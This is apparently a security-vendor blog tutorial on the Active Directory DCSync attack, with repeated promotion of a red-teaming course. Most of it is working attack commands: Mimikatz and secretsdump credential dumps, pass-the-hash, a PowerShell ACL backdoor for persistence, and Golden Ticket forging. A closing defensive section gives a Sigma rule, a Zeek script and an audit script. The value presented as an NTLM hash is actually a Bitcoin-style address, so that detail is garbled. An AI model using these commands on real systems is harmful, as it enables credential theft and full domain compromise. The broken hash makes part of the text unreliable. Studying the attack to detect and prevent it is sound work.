Active Directory is the backbone of authentication in most enterprise environments, and that makes it the most valuable target in a Windows network. Among the most dangerous post-exploitation techniques attackers use once they have a foothold is the DCSync attack, a method that allows adversaries to impersonate a domain controller and silently pull password hashes for any account in the directory, including the krbtgt account and Domain Admins.
Understanding DCSync is not just useful for defenders. Red teamers and penetration testers need to know exactly how it works, what it looks like in the wild, and how to simulate it responsibly. If you want to go deep on Windows offensive techniques beyond what most courses cover, the Windows Red Teaming course at Redfox Cybersecurity Academy walks through Active Directory attacks with hands-on labs built around real attacker tradecraft.
DCSync is not a vulnerability in the traditional sense. It abuses a legitimate feature of Active Directory replication. In a multi-domain-controller environment, domain controllers need to synchronize directory data between themselves. Microsoft built this into the Directory Replication Service Remote Protocol (MS-DRSR), specifically through two RPC calls: GetNCChanges and GetNCChangesEx.
These calls allow one DC to ask another for all changes to the directory since the last sync. An account with the right privileges can initiate this replication request, and the responding DC will hand over password hashes, Kerberos keys, and other sensitive attributes as part of the sync.
Attackers with sufficient privileges can trigger this same request from a non-DC machine, impersonating a legitimate replication partner. The result is that the target DC sends full credential material, including NTLM hashes and Kerberos AES keys, to the attacker's machine without any code execution on the DC itself.
There is no malware dropped on the domain controller. There is no login event on the DC that looks suspicious to an untrained eye. The attack is initiated entirely over the network using a standard protocol, which means endpoint detection on the DC itself will often miss it entirely.
The replication rights required to perform a DCSync attack are controlled by permissions on the domain naming context in Active Directory. The specific extended rights needed are:
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-In-Filtered-Set (required in some configurations)By default, only the following groups have these rights:
However, these permissions can be delegated. In misconfigured environments, custom service accounts, backup agents, or even low-privileged accounts may have been granted replication rights without the security team realizing what that entails.
Before executing a DCSync attack during a penetration test, you need to enumerate who holds these rights. PowerView is excellent for this:
Import-Module .\PowerView.ps1
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs | `
Where-Object { $_.ActiveDirectoryRights -match "DS-Replication" } | `
Select-Object IdentityReference, ActiveDirectoryRights[cta]
Mimikatz is the most well-known tool for executing DCSync. Once you have an interactive session running as a user with replication privileges (or as a Domain Admin), you can pull any account's credentials:
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator[cta]
To dump all accounts at once, which should be done carefully in engagements due to noise and volume:
mimikatz # lsadump::dcsync /domain:corp.local /all /csv[cta]
The output for a single account includes the NTLM hash, the LM hash if present, and Kerberos keys including AES-128 and AES-256. The krbtgt account hash is the crown jewel here, as it allows forging Golden Tickets.
For Linux-based operators or situations where you cannot load Mimikatz on a Windows host, Impacket's secretsdump.py supports DCSync natively over the network:
python3 secretsdump.py corp.local/Administrator:'P@ssw0rd'@192.168.1.10 -just-dc[cta]
If you have an NTLM hash rather than a cleartext password (pass-the-hash), use:
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:bc1qugrtknpjz52vc4m559q7zumkc4268kp7skrsee \
corp.local/Administrator@192.168.1.10 -just-dc-user krbtgt[cta]
The -just-dc flag restricts output to credentials from the directory service rather than also attempting LSA secrets and SAM, which keeps the operation cleaner and faster.
CrackMapExec integrates DCSync via its --ntds module and is useful when you want to quickly validate credentials and perform the dump in a single operation:
crackmapexec smb 192.168.1.10 -u Administrator -p 'P@ssw0rd' --ntds drsuapi[cta]
The drsuapi method uses the same MS-DRSR replication calls that Mimikatz and secretsdump use under the hood.
A critical part of attacker persistence in AD environments involves quietly granting DCSync rights to a low-privileged account so that even after a password reset storm, the adversary can return and dump credentials again. This technique is sometimes called "ACL backdooring" or "shadow credentials via ACL."
With Domain Admin access, an attacker can grant replication rights to an arbitrary account:
Import-Module .\PowerView.ps1
$acl = Get-Acl "AD:\DC=corp,DC=local"
$identity = [System.Security.Principal.NTAccount]"corp\servicebackup"
$adRight = [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$guidGetChanges = [System.Guid]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
$guidGetChangesAll = [System.Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRight, $type, $guidGetChanges)
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRight, $type, $guidGetChangesAll)
$acl.AddAccessRule($ace1)
$acl.AddAccessRule($ace2)
Set-Acl "AD:\DC=corp,DC=local" $acl[cta]
After this runs, servicebackup can perform a full DCSync without ever logging into a domain controller. This is precisely the kind of persistence mechanism that makes AD compromise so difficult to fully remediate without a detailed ACL audit.
If you want to practice these techniques in a safe, structured lab environment, the Windows Red Teaming course at Redfox Cybersecurity Academy covers AD persistence, privilege abuse, and lateral movement from the attacker's perspective.
Getting the NTLM hash for the Administrator account or the AES key for krbtgt unlocks several follow-on attack paths:
With the NTLM hash of any account that has local admin rights on a target, you can authenticate directly without knowing the plaintext password:
python3 psexec.py -hashes :bc1qugrtknpjz52vc4m559q7zumkc4268kp7skrsee corp.local/Administrator@192.168.1.50[cta]
With the krbtgt NTLM hash and AES keys, you can forge a Kerberos ticket for any user, with any group memberships, valid for up to 10 years by default:
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:your_krbtgt_hash_here /ptt[cta]
The /ptt flag injects the ticket directly into the current session. You can then access any resource in the domain as if you were a Domain Admin, even if the real Administrator account is disabled.
If you have the AES256 key from a DCSync dump, you can request a legitimate Kerberos TGT using that key instead of a password:
python3 getTGT.py corp.local/Administrator -aesKey your_aes256_key_here
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local[cta]
AES-based Kerberos authentication blends in better with normal traffic since it uses the same cipher modern environments use by default.
DCSync generates specific event log entries that defenders should be monitoring. The most important is Event ID 4662, which logs when an operation was performed on an Active Directory object:
Key fields to watch in Event 4662:
1131f6aa or 1131f6adAdditionally, monitor Event ID 5136 (directory service object was modified) for ACL changes on the domain naming context object, which can indicate the backdoor technique described above.
A Sigma rule targeting DCSync activity:
title: DCSync Attack Detected
status: stable
description: Detects directory replication requests from non-domain-controller accounts
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
filter:
SubjectUserName|endswith: '$'
condition: selection and not filter
fields:
- SubjectUserName
- SubjectDomainName
- ObjectName
falsepositives:
- Azure AD Connect sync account
- Legitimate backup software with replication rights
level: high[cta]
The filter excludes computer accounts (which end with $) since legitimate DC-to-DC replication will appear as machine accounts. Any user account triggering this rule should be treated as a high-priority incident.
From a network perspective, DCSync uses MS-DRSR over RPC. You can detect this by monitoring for GetNCChanges calls sourced from non-DC IP addresses. Tools like Zeek with an appropriate RPC analysis script can decode these calls off the wire:
event dce_rpc_request(c: connection, fid: count, ctx_id: count, opnum: count, stub_len: count)
{
if (opnum == 3 || opnum == 4) # GetNCChanges, GetNCChangesEx
{
local src = c$id$orig_h;
if (src !in known_dcs)
{
print fmt("Potential DCSync from non-DC host: %s", src);
}
}
}[cta]
Correlating this with a known list of authorized DC IP addresses provides a reliable low-false-positive alert for network-level DCSync detection.
Run regular audits of who holds DS-Replication rights:
Import-Module ActiveDirectory
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$replicationGUIDs = @(
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
)
$acl.Access | Where-Object {
$_.ObjectType -in $replicationGUIDs -or
$_.InheritedObjectType -in $replicationGUIDs
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType[cta]
Any account listed that is not a domain controller computer account, the Domain Admins group, or a known and authorized sync tool (such as Azure AD Connect) should be investigated and the permission revoked.
The root cause of most DCSync opportunities is a compromised Domain Admin credential. Implementing a tiered administration model prevents credential exposure across tier boundaries, making it far harder for an attacker to accumulate the privileges needed for DCSync. Privileged Access Workstations (PAWs) for Tier 0 operations limit the attack surface further.
Adding sensitive accounts to the Protected Users group prevents NTLM authentication for those accounts and forces Kerberos with stronger encryption. While this does not directly block DCSync, it limits how far an attacker can move with hashes they do obtain.
Enabling Windows Defender Credential Guard on domain controllers and administrative workstations prevents NTLM hashes from being cached in LSASS memory, reducing the credential material available for DCSync preparation (privilege escalation and lateral movement to reach Domain Admin).
DCSync sits at the intersection of legitimate protocol design and devastating credential theft. It requires no exploits, no memory manipulation on the target DC, and leaves minimal footprint if defenders are not specifically watching for replication events from non-DC accounts.
For red teamers, the attack chain is clear: gain Domain Admin or find a misconfigured ACL, use secretsdump or Mimikatz to pull hashes via DRSR, then leverage those hashes for Golden Tickets, pass-the-hash, or persistent backdoor access. For defenders, the answer is equally clear: audit replication ACLs, enable advanced audit policy for directory service access, and alert on Event ID 4662 from user accounts.
The gap between knowing DCSync exists and truly understanding how to execute, detect, and remediate it in a real Active Directory environment is significant. Redfox Cybersecurity Academy's Windows Red Teaming course bridges that gap with practical, lab-driven content designed for security professionals who want to operate at the level that matters in real engagements.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
